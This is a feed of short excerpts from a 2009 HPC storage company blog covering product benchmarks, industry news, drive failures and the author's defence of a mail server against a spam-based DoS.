https://blog.scalability.org/2009/03/ddos-saga-continues-the-revenge-of-the-attacked-mwahahaha/ They pissed me off … driving my load up from 0.00 to 0.01 like that … Using up the … I don’t know … 10kB/minute … bandwidth … Look at the blue arrow. This is where I told our … sentry … to get a little more proactive about … defense. [ ](/images/DDoS_revenge_of_the_attacked.png) Its a start. Their network is a scale free net. We could collapse it fairly easily. In fact, I am thinking about readying that change, so if I need it (that is, if they get serious about mailbombing us, and not this pretty whimpy thing here), I can turn it on at a moments notice. https://blog.scalability.org/2009/03/3-2-1-yup-ddos-begins/ Thu, 19 Mar 2009 12:46:41 +0000 https://blog.scalability.org/2009/03/3-2-1-yup-ddos-begins/ Its like clockwork I tell ya … Like clockwork … [ ](/images/DDoS-March-2009.png) I could set my watch by this … https://blog.scalability.org/2009/03/parrot-hits-10/ Wed, 18 Mar 2009 20:52:56 +0000 https://blog.scalability.org/2009/03/parrot-hits-10/ Parrot you say? Think of it as the engine which underlies Perl6 and quite a few other dynamic languages … One engine to run them all, and in the computer, bind them. Hopefully this means (also) that Perl6 will formally ship this Christmas. The running joke is that it will ship around Christmas, only the year is indeterminate. More seriously, I’ve been using Perl and dynamic languages in general for more than a decade. https://blog.scalability.org/2009/03/sun-possibly-to-be-acquired-by-ibm/ Wed, 18 Mar 2009 13:05:21 +0000 https://blog.scalability.org/2009/03/sun-possibly-to-be-acquired-by-ibm/ The NYT reports talks in progress. Not sure if its real. Need to think on this somewhat … makes sense as Sun is so cheap, but like many other acquisitions, this one is likely to give some folks a real bad case of indigestion. There are a few elements of Sun worth having, and some … not so much. Will be interesting to see if this is real, and if so, what the market impact would be. https://blog.scalability.org/2009/03/hpc-cisco/ Tue, 17 Mar 2009 00:40:07 +0000 https://blog.scalability.org/2009/03/hpc-cisco/ Cisco announced a new product today, code named California. You can read some of the info here. This system, also known more formally as a “Unified Computing System” aims to integrate computing, networking and storage into a single managed system. Cisco appears to be aiming for what it believes to be a sweet spot in virtualized infrastructures. Their play appears to be focused upon virtualization. They tied in a slew of players on the software stack side, and Accenture on the services side. https://blog.scalability.org/2009/03/why-is-the-sun-trying-to-peak-out-from-behind-the-clouds-of-computing/ Mon, 16 Mar 2009 12:10:31 +0000 https://blog.scalability.org/2009/03/why-is-the-sun-trying-to-peak-out-from-behind-the-clouds-of-computing/ Maybe later on this week I’ll write up a more detailed set of things I’ve been thinking of, while I see another “fad” grip the computing world. Until then, John West at InsideHPC.com asks a question of why is Sun coming back to the cloud table? John points* out I’ll save my “cloud” comments until the future article. Though I might point out that for a new investment in technology to build a cloud computing facility, the business model generally needs you to spend as little as possible per system and per gigabyte of storage. https://blog.scalability.org/2009/03/it-is-sure-to-be-removed-so-look-at-this-asap/ Sat, 14 Mar 2009 20:37:01 +0000 https://blog.scalability.org/2009/03/it-is-sure-to-be-removed-so-look-at-this-asap/ Back at SGI, the company did a pitful job explaining who it was, what it did, and how it did it, not to mention why it was important. This is marketing, basic simple, get the message out marketing. In the 90’s, SGI was a great company. We had at the time, great products. And, as we naively believed that the world would beat a path to our door in order to get them, we sorta … kinda … forgot to tell people about what we did and why it was important. https://blog.scalability.org/2009/03/ok-looks-like-it-is-mostly-on/ Sat, 14 Mar 2009 17:13:45 +0000 https://blog.scalability.org/2009/03/ok-looks-like-it-is-mostly-on/ ok, looks like it is mostly one way … oh well … [update] Nope … bidirectional … with a bit of latency though. I now have Wordpress talking nicely with twitter, and Wordpress and LinkedIn tied together. Scary. Social networking gone wild. Too bad there are few if any business models that will work for these folks. https://blog.scalability.org/2009/03/testing-the-reverse-link-t/ Sat, 14 Mar 2009 17:09:42 +0000 https://blog.scalability.org/2009/03/testing-the-reverse-link-t/ testing the reverse link…. twitter to blog … Content free post, just testing shiny new tools (everyone say “oooohhh”) https://blog.scalability.org/2009/03/wptwitter-test-1-of-2-from-wp-to-twitter/ Sat, 14 Mar 2009 16:42:24 +0000 https://blog.scalability.org/2009/03/wptwitter-test-1-of-2-from-wp-to-twitter/ this is a test, had this been an actual post, you would have been given content to read … https://blog.scalability.org/2009/03/also-working-on-some-business/ Sat, 14 Mar 2009 16:12:49 +0000 https://blog.scalability.org/2009/03/also-working-on-some-business/ Also working on some business proposals/models to pursue a number of funding (equity/etc) opportunities. https://blog.scalability.org/2009/03/working-on-storage-software-up/ Sat, 14 Mar 2009 16:12:12 +0000 https://blog.scalability.org/2009/03/working-on-storage-software-up/ Working on storage software updates. Making the software simpler/easier to use. Working on the web interface to status/updates. https://blog.scalability.org/2009/03/on-hpc-benchmarking-measure-and-report-the-important-things-that-users-care-about-wall-clock-time/ Thu, 12 Mar 2009 12:54:23 +0000 https://blog.scalability.org/2009/03/on-hpc-benchmarking-measure-and-report-the-important-things-that-users-care-about-wall-clock-time/ John West at InsideHPC.com points to a great article this morning from Intel. Well, ok, I didn’t agree with the initial tone. This is a bit on the (negative) sensationalist side, though the author is correct in pointing out that these technologies have been overhyped. I’ve been using a phrase to discuss this and other issues for a while. There are no silver bullets. Or as Robert Heinlein once wrote, TANSTAAFL. https://blog.scalability.org/2009/03/been-avoiding-talking-about-sgi-but-it-looks-like-a-whole-slew-of-events-is-about-to-get-started/ Thu, 12 Mar 2009 02:39:37 +0000 https://blog.scalability.org/2009/03/been-avoiding-talking-about-sgi-but-it-looks-like-a-whole-slew-of-events-is-about-to-get-started/ John West at InsideHPC has a brief article on SGI, noting that they have received their second delisting notice. As of now, SGI, a company I spent 6 years at, and really enjoyed my time there (apart from the decisions various company senior management made), which hit a $4B valuation at one point, is currently worth $5.24M. SGI was once a great company. What made SGI great were the people, some of whom are still there. https://blog.scalability.org/2009/03/13-pb-lustre-ossesosts-with/ Wed, 11 Mar 2009 18:03:40 +0000 https://blog.scalability.org/2009/03/13-pb-lustre-ossesosts-with/ 1.3 PB lustre OSSes/OSTs with a Velocibunny MDS quote … under $800k … wow! https://blog.scalability.org/2009/03/13pb-lustre-system-with-a-velocibunny-mds-for-800k-usd/ Wed, 11 Mar 2009 17:48:35 +0000 https://blog.scalability.org/2009/03/13pb-lustre-system-with-a-velocibunny-mds-for-800k-usd/ This was a fun exercise, not sure if our WAG is in the right ball-park though, as some of the elements won’t have real price tags for a while. This was an intelligent guess based upon comparable systems pricing. 28x 4U 48 TB JackRabbit (JR4) units with 32 GB ram, 2x QDR IB ports, 2x SSD boot drives in a RAID1 + a “Velocibunny” MDS (1.5 TB of the fastest non-RAMdisk based server around) running Lustre. https://blog.scalability.org/2009/03/generating-quote-after-quote-a/ Wed, 11 Mar 2009 15:56:01 +0000 https://blog.scalability.org/2009/03/generating-quote-after-quote-a/ Generating quote after quote after … no rest for the wicked … https://blog.scalability.org/2009/03/debugging-iscsi-issues-on-two/ Wed, 11 Mar 2009 04:16:23 +0000 https://blog.scalability.org/2009/03/debugging-iscsi-issues-on-two/ debugging iscsi issues on two different kernels … yay … https://blog.scalability.org/2009/03/tweet-tweet/ Wed, 11 Mar 2009 03:43:40 +0000 https://blog.scalability.org/2009/03/tweet-tweet/ Maybe I am not such an old fogey … on twitter now. Whats next … facebook? Darn … I purposely went all Luddite over MySpace … was hoping to do the same thing with facebook. Now how to figure out how to link to the blog … https://blog.scalability.org/2009/03/dont-know-why-this-is-the-case/ Tue, 10 Mar 2009 00:33:49 +0000 https://blog.scalability.org/2009/03/dont-know-why-this-is-the-case/ As part of the toolchain for JackRabbit and ΔV, we depend upon Perl and various Perl modules. Previously, for DragonFly’s prior incarnation, we built our own toolchain. The issue is that the Perl distributed with RHEL/Centos, Debian/Ubuntu usually includes some … er … ill-advised patches. We had built our own in the past, and it suited us well, as it felt faster. Well, for a number of reasons we are back at it. https://blog.scalability.org/2009/03/day-job-think-smart-academic-research-stimulus-sale/ Mon, 02 Mar 2009 21:16:38 +0000 https://blog.scalability.org/2009/03/day-job-think-smart-academic-research-stimulus-sale/ Tis the season for sales … this one targeted at academia/research … See the link for details. JackRabbit, our tightly coupled processing and storage system that unabashedly dominates performance among units of similar density, at a much lower price point, lowers that price point even more for research/education/academic customers. You can get a 48 TB raw JackRabbit unit which as we have noted before, sustains 1.57 GB/s on writes, and 1. https://blog.scalability.org/2009/02/starting-to-play-with-git/ Sun, 01 Mar 2009 04:25:22 +0000 https://blog.scalability.org/2009/02/starting-to-play-with-git/ Been a mercurial user for a while, mercurial was IMO more mature when we started using it about 1.5 years ago. Git was new, and not quite as easy to deal with. What a difference 1.5 years make. I find starting/importing new projects with Mercurial harder than I like. Its not bad, it just takes a bit more thinking than I want during import. So I tried git tonight. Imported the deltaV tools in. https://blog.scalability.org/2009/02/the-hard-part-about-hiring/ Sat, 28 Feb 2009 05:24:18 +0000 https://blog.scalability.org/2009/02/the-hard-part-about-hiring/ … is in not knowing if the people are able to do what you need them to do. So far, I can say I have found (and kept) one great person. I haven’t been too successful at finding good HPC people otherwise. I was saddened to hear that a friend had been let go of his employer. I suggested considering us. And up until yestereday, I was under the impression I had my next great person. https://blog.scalability.org/2009/02/upped-sustained-speeds-on-new-jackrabbit-unit/ Wed, 25 Feb 2009 04:45:53 +0000 https://blog.scalability.org/2009/02/upped-sustained-speeds-on-new-jackrabbit-unit/ I forgot to mention this. Odd. Our updated JackRabbit (JR4 f.k.a JRM) unit being burnt in over the last few days for a customer. Putting obscene loads on it. Trying hard to crash it. Really. From fio (apart from the 4M buffer size issue, I really like fio) streaming-write: (groupid=0, jobs=1): err= 0: pid=12270 write: io=6,397GiB, bw=1,498MiB/s, iops=365, runt=4479113msec clat (msec): min=1, max=4,560, avg= 2.73, stdev=10.33 bw (KiB/s) : min= 0, max=2427840, per=101. https://blog.scalability.org/2009/02/security-in-the-cloud/ Wed, 25 Feb 2009 03:10:07 +0000 https://blog.scalability.org/2009/02/security-in-the-cloud/ I don’t mean to rain on anyone’s cloud (ok … ok … been wanting to say that … ), but the double whammy of Google’s GMail and now zero-day phishing attack starts begging some serious questions of risk and security in “the cloud”. Ok, I know, there are many different clouds. Ones within a firewall and local to a campus, ones external to a firewall or at a remote campus. There are SaaS, PaaS, and-any-other-letter-you-wish-aaS type apps. https://blog.scalability.org/2009/02/finally/ Wed, 25 Feb 2009 02:17:46 +0000 https://blog.scalability.org/2009/02/finally/ … the day job accepts credit cards (Visa, MC, AMEX) directly. A long … long … time ago, I was critical of one of my former employers for not doing this … pointing out that we had lost sales as a result of it. I do not believe in erecting barriers to users buying what we sell. I want to streamline the processes and make them easier. Faster. Better. We are working very hard at getting a better web-store up (I have seen the new one and it is good) so that our customers can order Delta-V’s, JackRabbits, Pegasus and Pegasus-GPU systems online as simple as a few mouse clicks (and some credit card information). https://blog.scalability.org/2009/02/updated-jackrabbit-m-bonnie-data/ Tue, 24 Feb 2009 00:02:20 +0000 https://blog.scalability.org/2009/02/updated-jackrabbit-m-bonnie-data/ Continuing a previous thread, here is data from a recent RAID6 JackRabbit test. This is a 24 bay, 24 TB machine, with 64 GB ram, 8 processor cores, 1x DDR IB port, 2x GbE. [root@jackrabbit ~]# iozone -s 32g -r 2048 -t 4 -F /big/f.0 /big/f.1 /big/f.2 /big/f.3 Iozone: Performance Test of File I/O Version $Revision: 3.315 $ Compiled for 64 bit mode. Build: linux Contributors:William Norcott, Don Capps, Isom Crawford, Kirby Collins Al Slater, Scott Rhine, Mike Wisner, Ken Goss Steve Landherr, Brad Smith, Mark Kelly, Dr. https://blog.scalability.org/2009/02/top-hpc-trends-or-are-they/ Mon, 23 Feb 2009 12:03:38 +0000 https://blog.scalability.org/2009/02/top-hpc-trends-or-are-they/ John West at InsideHPC.com links to an article I read last week and didn’t comment on. In this article David Driggers, CTO at Verari, points out what he believes to be the top 5 trends in HPC. In no particular order, he points out that CAS (content addressable storage) is “breakthrough technology” for archiving. Which is odd. In that industry insiders appear to have a somewhat different opinion on thevalue of CAS for archiving. https://blog.scalability.org/2009/02/on-the-test-track/ Sat, 21 Feb 2009 18:41:40 +0000 https://blog.scalability.org/2009/02/on-the-test-track/ One of the issues often raised in discussions with users are IOP performance of JackRabbit. We have measured our 24 bay unit performance at a bit more than 5000 IOPs (8k random reads, as closely matching a test case handed to us by a customer looking at a competitive box, which scored under 4300 IOPs on the same test). The problem is that getting consistent workable tools to do this measurement is hard … windows users use IOmeter, other users will use SPC-1 and related. https://blog.scalability.org/2009/02/quick-set-of-new-jr4-renamed-jrm-bonnie-numbers/ Fri, 20 Feb 2009 18:32:18 +0000 https://blog.scalability.org/2009/02/quick-set-of-new-jr4-renamed-jrm-bonnie-numbers/ New firmware on controllers, new drivers, still haven’t worked all the tuning out perfectly yet, but getting there. [root@<a href="http://scalableinformatics.com/jackrabbit">jackrabbit</a> ~]# bonnie++ -u root -d /raid60 -f Using uid:0, gid:0. Writing intelligently...done Rewriting...done Reading intelligently...done start 'em...done...done...done...done...done... Create files in sequential order...done. Stat files in sequential order...done. Delete files in sequential order...done. Create files in random order...done. Stat files in random order...done. Delete files in random order...done. Version 1.94 ------Sequential Output------ --Sequential Input- --Random- Concurrency 1 -Per Chr- --Block-- -Rewrite- -Per Chr- --Block-- --Seeks-- Machine Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP jackrabbit 124G 887738 98 285392 46 1182583 96 417. https://blog.scalability.org/2009/02/been-super-busy/ Fri, 20 Feb 2009 18:30:01 +0000 https://blog.scalability.org/2009/02/been-super-busy/ … with orders, support, coding, customer visits, proposals … Will resume posting again shortly … https://blog.scalability.org/2009/02/seagate-announces-constellation-drives-on-their-web-site/ Mon, 16 Feb 2009 16:12:05 +0000 https://blog.scalability.org/2009/02/seagate-announces-constellation-drives-on-their-web-site/ Seagate has created a new line of drives, named Constellation. Spec’s look good, capacities up to 2TB on 3.5" version. SAS v2 (6.0 Gbps) as well as SATA. As soon as we can get our hands on these, we will start working on qualifying them for JackRabbit and ΔV. 96TB in 5U, 48TB in 4U, 32TB in 3U, 24TB in 2U. https://blog.scalability.org/2009/02/open-source-venture-capital-by-mark-cuban/ Thu, 12 Feb 2009 01:47:05 +0000 https://blog.scalability.org/2009/02/open-source-venture-capital-by-mark-cuban/ Maybe we should pitch? I dunno (we are looking for capital to grow and hire people … go figure). Here is his post. His criteria are simple, and quite good: That is, for him to invest, you have to open your idea up. If it is defensible, and you have a shot, he might sign on. However, he might not. How is this different from the VC meet/greet events that you have to pay $1000+ for, in order to present your idea to “funders”? https://blog.scalability.org/2009/02/gpu-hmmer-press-release-out-with-a-pointer-to-our-new-pegasus-gpu-product/ Thu, 05 Feb 2009 02:50:38 +0000 https://blog.scalability.org/2009/02/gpu-hmmer-press-release-out-with-a-pointer-to-our-new-pegasus-gpu-product/ As usual, Doug works his magic, comes through in a pinch. See our link. GPU-HMMer measurements giving about 100x on 3 GPUs over a Shanghai AMD processor that forms the computing substrate for the GPUs. But we are also point to Pegasus-GPU, which is our new GPU box powered by Tesla GPUs from NVIDIA. We should have pictures up soon (unit is in lab, glowing a faint blue …). Data sheets, product sheets and … wait for it … online ordering … coming very shortly. https://blog.scalability.org/2009/02/jackrabbit-x-inability-of-paypal-to-process-payments-priceless/ Tue, 03 Feb 2009 18:33:36 +0000 https://blog.scalability.org/2009/02/jackrabbit-x-inability-of-paypal-to-process-payments-priceless/ We are shopping for a new merchant services provider thanks in part to Paypal and its rather annoying rules. Like not being able to process transactions over $10k USD. Oh sure, they could do it if they wanted to … but they don’t want to. Ask them, and they will tell you that it is against Federal law. Thats what they told me a while ago. Ask Paymentech or Authorize.net and you will hear something different. https://blog.scalability.org/2009/02/um-er-dont-go-there-please/ Tue, 03 Feb 2009 14:02:34 +0000 https://blog.scalability.org/2009/02/um-er-dont-go-there-please/ This isn’t a politcal blog, and this isn’t a political post. This is a blog about HPC, and the business of HPC. Which is global. Which means that HPC is impacted by political winds as surely as the political winds themselves blow. Most of the time we can ignore it. Some of the time, bad ideas emerge. John West at InsideHPC.com pointed out some of the rhetoric circling about the massive spending bill under consideration in the US government. https://blog.scalability.org/2009/01/sge-list-appears-to-be-broken/ Sat, 31 Jan 2009 23:29:46 +0000 https://blog.scalability.org/2009/01/sge-list-appears-to-be-broken/ Can’t post from my email account, the one subscribed to, and receiving SGE email. Claims I am not subscribed. Ok. Then I try from the gmail account. Accepts my subscription. And then doesn’t let me respond. Borked mailing lists are no fun. I screwed up the mpihmmer list for a while (by accident) without realizing it. Fixing them is even less fun (mailman is … well … a multi-cup-of-coffee-diagnostic-event) Hopefully someone will ping the list admins to investigate. https://blog.scalability.org/2009/01/ot-ramping-up-spam-protection/ Sat, 31 Jan 2009 22:02:43 +0000 https://blog.scalability.org/2009/01/ot-ramping-up-spam-protection/ I have been displeased with the massive upswing in spam, and not looking forward to 30-40k spam messages next month. So I did some research on the additional features of our MTA, and then did some analysis of the spam we had. With a few quick changes, focusing on where/from whom we were getting the most spam, I instituted and tested some additional filter elements. If you get caught in this filter and need to let me know, contact me through gmail. https://blog.scalability.org/2009/01/on-dynamical-systems-and-climatology/ Sat, 31 Jan 2009 16:35:07 +0000 https://blog.scalability.org/2009/01/on-dynamical-systems-and-climatology/ That all of these are modeled on HPC gives me the tie-in to HPC that we need. I think we need more theoretical development, modeling, and model refinement. HPC systems accord us virtual laboratories that allow us to create and probe state spaces that may be impossible to consider in an experimental sense otherwise. And this is, IMO, where we need to spend more time/effort/cycles. Sadly we have political views impinging into scientific research, and this is problematic. https://blog.scalability.org/2009/01/do-more-spend-less/ Wed, 28 Jan 2009 22:09:04 +0000 https://blog.scalability.org/2009/01/do-more-spend-less/ This has become our mantra. There is a nice article in The Economist about this. While JackRabbit provides best of breed performance for what it does, and it also costs less than other solutions. Quite a bit less in most cases. While we are hearing, from customers and users, of “orders of magnitude” better performance (their words … multiple customers) than competitive boxes, we are emphasizing less stress on the budget aspect. https://blog.scalability.org/2009/01/48tb-v4-for-about-18k-usd/ Wed, 28 Jan 2009 21:40:09 +0000 https://blog.scalability.org/2009/01/48tb-v4-for-about-18k-usd/ Just ran through the configuration pricing model on it. 48TB ΔV4 came out around $18k USD. Add in a dual port 10GbE NIC for $500, and you have a seriously awesome iSCSI target box (not to mention a very very fast NFS / CIFS box). Wow. We are refreshing/updating our ΔV line for 1Q2009, so expect some new pricing bits soon. https://blog.scalability.org/2009/01/96tb-in-5u-coming-soon-to-a-jackrabbit-near-you/ Tue, 27 Jan 2009 05:13:05 +0000 https://blog.scalability.org/2009/01/96tb-in-5u-coming-soon-to-a-jackrabbit-near-you/ Engadget is reporting (thanks Andrew!) that 2TB drives are about to ship from Western Digital. In the face of Seagate’s … er … firmware issues I think we are going to see Western Digital drives in JackRabbit’s soon as a standard option. Not sure if these are enterprise drives going on sale (not likely, betting they are consumer drives), but we have customers that want these. 48 of these in 5U. https://blog.scalability.org/2009/01/about-to-pass-a-dubious-milestone/ Mon, 26 Jan 2009 23:00:03 +0000 https://blog.scalability.org/2009/01/about-to-pass-a-dubious-milestone/ [update: 8:49am 27-Jan-2009] Yup … my spam-box is at 20012 and counting. [update 2: 8:29am 31-Jan-2009] 25188 and counting … wassamatta, they couldn’t get me to 30k by the end of the month (16 hours away)? Sheesh … On a positive note, Thunderbird is able to handle 25188 email sized box without problem. I remember when 1000 emails would give email clients fits … Our spam filter is a pipeline. It can handle quite a load … we have been email bombed before, and far from causing the server conniptions, it handles it quite well. https://blog.scalability.org/2009/01/pulling-no-punches-firefox-3x-sucks/ Sat, 24 Jan 2009 16:21:07 +0000 https://blog.scalability.org/2009/01/pulling-no-punches-firefox-3x-sucks/ Having used it, watched it crash, hog memory, stall, screw up rendering, … I have to wonder exactly what the Mozilla corporation is thinking by releasing this stinking pile of bits. My laptop is a dual core Intel machine with 2.5 GB ram, and a fast 7200 RPM SATA drive. And it is brought to its knees by firefox 3.0. A third of ram gets snarfed by it immediately upon running. https://blog.scalability.org/2009/01/an-ouch-moment/ Thu, 22 Jan 2009 18:12:06 +0000 https://blog.scalability.org/2009/01/an-ouch-moment/ /. indicated that as of this moment, Redhat is worth more (higher market capitalization) than Sun. So I checked it out. As of this writing, RHT has a market cap of $2.62B, with $0.76B cash on hand. This suggests that the company has a value exclusive of cash, of about $1.9B. Not bad for a company that doesn’t actually make the technology behind its core product offerings. As of this writing, JAVA has a market cap of $2. https://blog.scalability.org/2009/01/the-rifs-continue-now-the-bigger-players-in-hpc/ Thu, 22 Jan 2009 15:45:34 +0000 https://blog.scalability.org/2009/01/the-rifs-continue-now-the-bigger-players-in-hpc/ News (I guess not unexpected) this morning is that Microsoft is cutting staff, Intel is closing down underutilized resources and cutting staff, IBM is cutting staff, and we heard yesterday from John at InsideHPC.com of more cuts at AMD. Having been on the wrong end of RIFs before, I know what it is like. I empathize with those effected. Having run a company for 6+ years, I know the abject terror of the other side of this. https://blog.scalability.org/2009/01/things-you-should-never-do-to-a-customers-machinedisk-part-10-bricking-a-drive/ Wed, 21 Jan 2009 13:04:29 +0000 https://blog.scalability.org/2009/01/things-you-should-never-do-to-a-customers-machinedisk-part-10-bricking-a-drive/ Ouch. We test our JackRabbit and Delta-V (ΔV) units extensively … long burn-in times, after any firmware updates. We like to run into the problems in-lab as compared to in-field. Some customers get annoyed at what they perceive to be slow shipping, but we want to know, when it leaves our lab, that this machine, and all its parts, works. It appears that Seagate is having an issue with this last bit. https://blog.scalability.org/2009/01/nail-hammer-hit-hit-hit-2/ Tue, 20 Jan 2009 05:04:51 +0000 https://blog.scalability.org/2009/01/nail-hammer-hit-hit-hit-2/ John West has a great commentary at InsideHPC.com. First I recommend, if you haven’t read it, by all means, read it. He points out that Addison Snell (a former colleague during SGI days) stands by his HPC spending/market analysis of several months ago. Further, he notes something I saw in another press release recently, that indicates that financial services firms are remaining committed to HPC. John’s summary of Tabor’s results notes that purchases may be deferred or placed on hold. https://blog.scalability.org/2009/01/day-job-has-a-sale/ Sun, 18 Jan 2009 03:02:16 +0000 https://blog.scalability.org/2009/01/day-job-has-a-sale/ Doug has worked his magic, and turned our … er … aggressively cold weather, into a sales tool. We are having a 10% off sale. Details here. Yesterday, when I drove into work, the car thermometer registered -18F. Yup. Thats right. Should be warming up soon though. I hear we might crack 10 degrees . On the + side of 0. Soon. Meanwhile, shoveling snow was … er … fun … (not! https://blog.scalability.org/2009/01/working-on-cudafortran/ Sun, 18 Jan 2009 02:55:02 +0000 https://blog.scalability.org/2009/01/working-on-cudafortran/ So we have something like 5 different Cuda capable machines in the company. My laptop, an older Quadro FX 1400 based Opteron 275 based machine, a GeForce 8800 based machine, a dual GTX260 based machine, and a Tesla machine with 3 GPUs. The latter is to be our new desk(side|top) personal supercomputer offering. Pegasus-(I|A)(3|4)G. Complex .. dealing with case/PS issues now … rest of it works fine. Current unit is powered by a Shanghai pair which we are testing with. https://blog.scalability.org/2009/01/stretching-my-gfortran-legs/ Sun, 18 Jan 2009 00:56:36 +0000 https://blog.scalability.org/2009/01/stretching-my-gfortran-legs/ Working on a quick project for a partner. I haven’t done much fortran programming in the last few years, mostly C, Perl, and a few other things. Its been a while, but now I am remembering why I disliked multi-language programming in the past. You have to fight with the linkers (and compilers) to get them to do the right thing. Stuff that should “just work” doesn’t. I really, really, just want to call c_Function(argument1, argument2, . https://blog.scalability.org/2009/01/ummm-er-uh-oh/ Sat, 17 Jan 2009 04:45:50 +0000 https://blog.scalability.org/2009/01/ummm-er-uh-oh/ Seagate appears to be having an issue. A fairly large number of drive models, recent models, both enterprise and desktop, appear to have some serious failure issues. We have been using Seagates for a while, they have been reliable. We have seen a higher failure rate than they report, but we chalked that up to a assuming Seagate marketing using a somewhat optimistic interpretation of test result statistics. Call it a mis-set calibration point. https://blog.scalability.org/2009/01/and-the-3-gpu-pegasus-unit-with-shanghai-cpus-is-up/ Fri, 16 Jan 2009 00:04:29 +0000 https://blog.scalability.org/2009/01/and-the-3-gpu-pegasus-unit-with-shanghai-cpus-is-up/ mwhahaha!!!! Cuda goodness. Will get updated GPU-HMMer data with real C1060s. https://blog.scalability.org/2009/01/and-joe-messes-up-mailman-aliases-doh/ Thu, 15 Jan 2009 12:35:07 +0000 https://blog.scalability.org/2009/01/and-joe-messes-up-mailman-aliases-doh/ Yeah … I did just nuke my own email server for about 30 minutes. My bad. All better (no really, all better!). https://blog.scalability.org/2009/01/and-rackable-trims/ Wed, 14 Jan 2009 21:34:29 +0000 https://blog.scalability.org/2009/01/and-rackable-trims/ Rackable, which does do some HPC, is trimming down. https://blog.scalability.org/2009/01/and-satyam-imploded-last-week/ Wed, 14 Jan 2009 16:59:58 +0000 https://blog.scalability.org/2009/01/and-satyam-imploded-last-week/ While not HPC related, we live in a non-ivory tower world. Satyam is one of the large Indian outsourcing firms. Last week, the founding brothers admitted to serious irregularities and fraud. This week the Indian government is moving swiftly to try to contain the damage. The relation to HPC comes through other Indian outsourcing providers such as Tata and Wipro, both of whom have HPC efforts underway. This scandal should not impact them, though it could partially undermine confidence in this business model. https://blog.scalability.org/2009/01/and-nortel-files-for-chapter-11-protection/ Wed, 14 Jan 2009 16:50:26 +0000 https://blog.scalability.org/2009/01/and-nortel-files-for-chapter-11-protection/ See this link at Yahoo. We have lots of customers with Nortel switches. We don’t use them that much, but others have. I don’t expect this to be the last to file for protection, by any stretch of the imagination. https://blog.scalability.org/2009/01/seagate-10-rif/ Mon, 12 Jan 2009 15:43:05 +0000 https://blog.scalability.org/2009/01/seagate-10-rif/ As seen on Barrons. CEO Watkins is out, replaced with Stephen Luczo. Seagate makes good disk drives, and drive prices have been hammered in recent weeks. Pricing went into something near a free-fall over the last 6 weeks. While this is good for JackRabbit and ΔV customers, it is bad for drive manufacturers that have to show a sustained profit. Seagate is reporting that it had a bad December, and as many other technological based product outfits have as well, I think this may be the first of many such announcements. https://blog.scalability.org/2009/01/hpc-virtualization/ Mon, 12 Jan 2009 13:47:29 +0000 https://blog.scalability.org/2009/01/hpc-virtualization/ John at InsideHPC.com has a discussion going on HPC virtualization. Basically John’s point is that programmer/user time is more valuable than machine raw power. And that while VMs pull down performance, machine utilization is so low to begin with, that it doesn’t matter. I don’t disagree that machine utilization is low, nor do I disagree that VMs will impact performance. I don’t dispute that programmer/user time is important. The issue I keep running into is the quality of compiler generated code. https://blog.scalability.org/2009/01/dos-update-its-over-and-i-have-some-nice-new-tools-to-help-stop-them/ Mon, 12 Jan 2009 13:22:58 +0000 https://blog.scalability.org/2009/01/dos-update-its-over-and-i-have-some-nice-new-tools-to-help-stop-them/ Basically someone decided to fire off many emails to us. Their effort was from some team of bots (ToB), and came largely from the .ru domain. I wrote some quick and dirty tools to scan our logs, and generate a hash table of IP addresses, and plugged this into a smtpd client filter. So after the first few failed emails, we have the bot’s signature. And we can reject future emails from them, even for a short period of time. https://blog.scalability.org/2009/01/on-the-dos-going-on-against-our-mail-system/ Sun, 11 Jan 2009 20:40:04 +0000 https://blog.scalability.org/2009/01/on-the-dos-going-on-against-our-mail-system/ Yes, someone with lots of machines in a .ru domain, is trying to send us lots of spam. Trying a DoS, but I don’t think its working all that well. But what is troubling to me is that several of the machines listed give .army.mil addresses. Which, if they aren’t forged, says something profoundly bad about security on our armed forces machines. Sure, they could be little spambots. Imagine if they were more than little spambots. https://blog.scalability.org/2009/01/look-for-a-future-writeup-of-using-sse2-cuda-and-regular-old-coding/ Sun, 11 Jan 2009 17:35:51 +0000 https://blog.scalability.org/2009/01/look-for-a-future-writeup-of-using-sse2-cuda-and-regular-old-coding/ I thought there might be some interest in this, given some of the posts we have done last year. If I hit article length (suspect I will), then I’ll submit it for publication. As a teaser, the baseline version of rzf for arguments -l 1000000000 -n 2 takes 34.83s on my laptop CPU, while the SSE2 version of the same code takes 7.62s. As this is a Cuda enabled laptop, I intend to get this version going as well shortly. https://blog.scalability.org/2009/01/first-tests-with-btrfs-on-v3/ Fri, 09 Jan 2009 03:51:38 +0000 https://blog.scalability.org/2009/01/first-tests-with-btrfs-on-v3/ [мебелиBtrfs](http://btrfs.wiki.kernel.org/index.php/Main_Page) is new file system being developed. GPL licensed, this is what the page notes: https://blog.scalability.org/2009/01/wth-linux-software-doing-the-bloat-thing/ Thu, 08 Jan 2009 23:41:10 +0000 https://blog.scalability.org/2009/01/wth-linux-software-doing-the-bloat-thing/ From a top screen output … on my laptop: top - 18:43:01 up 1:06, 2 users, load average: 1.19, 1.36, 1.17 Tasks: 178 total, 3 running, 175 sleeping, 0 stopped, 0 zombie Cpu0 : 11.9%us, 3.0%sy, 0.0%ni, 84.2%id, 0.0%wa, 1.0%hi, 0.0%si, 0.0%st Cpu1 : 76.2%us, 5.0%sy, 0.0%ni, 17.8%id, 0.0%wa, 0.0%hi, 1.0%si, 0.0%st Mem: 2571704k total, 1640064k used, 931640k free, 36796k buffers Swap: 995988k total, 0k used, 995988k free, 476952k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 7367 landman 20 0 1374m 541m 39m S 57 21. https://blog.scalability.org/2009/01/cluster-10gbe-still-in-the-future/ Thu, 08 Jan 2009 18:38:41 +0000 https://blog.scalability.org/2009/01/cluster-10gbe-still-in-the-future/ John West at InsideHPC asks about 10 GbE on clusters. The point I made (in two posts), and we verify every time we spec a system out for a customer, is that 10 GbE is still priced higher per port than IB. This doesn’t mean we don’t like 10GbE. On the contrary, it is simpler/easier to deal with. But it comes at a price penalty, and a non-trivial one at that. https://blog.scalability.org/2009/01/ot-flash-plugin-for-64-bit-firefox-on-linux-works-well/ Wed, 07 Jan 2009 12:35:58 +0000 https://blog.scalability.org/2009/01/ot-flash-plugin-for-64-bit-firefox-on-linux-works-well/ No, this is not the nswrapperplugin thunking layer thing that lets you run 32 bit NSAPI plugins on 64 bit linux. While that is a neat tool, it was prone to lots of crashing. No, this is an adobe native implementation of flash. I don’t have to kill npviewer.bin after/during firefox anymore. I don’t have to see large greyed out boxes when npviewer.bin crashes. This is good. Flash now works right … only took adobe 3 years after getting flash on Linux to get 64 bit basically right. 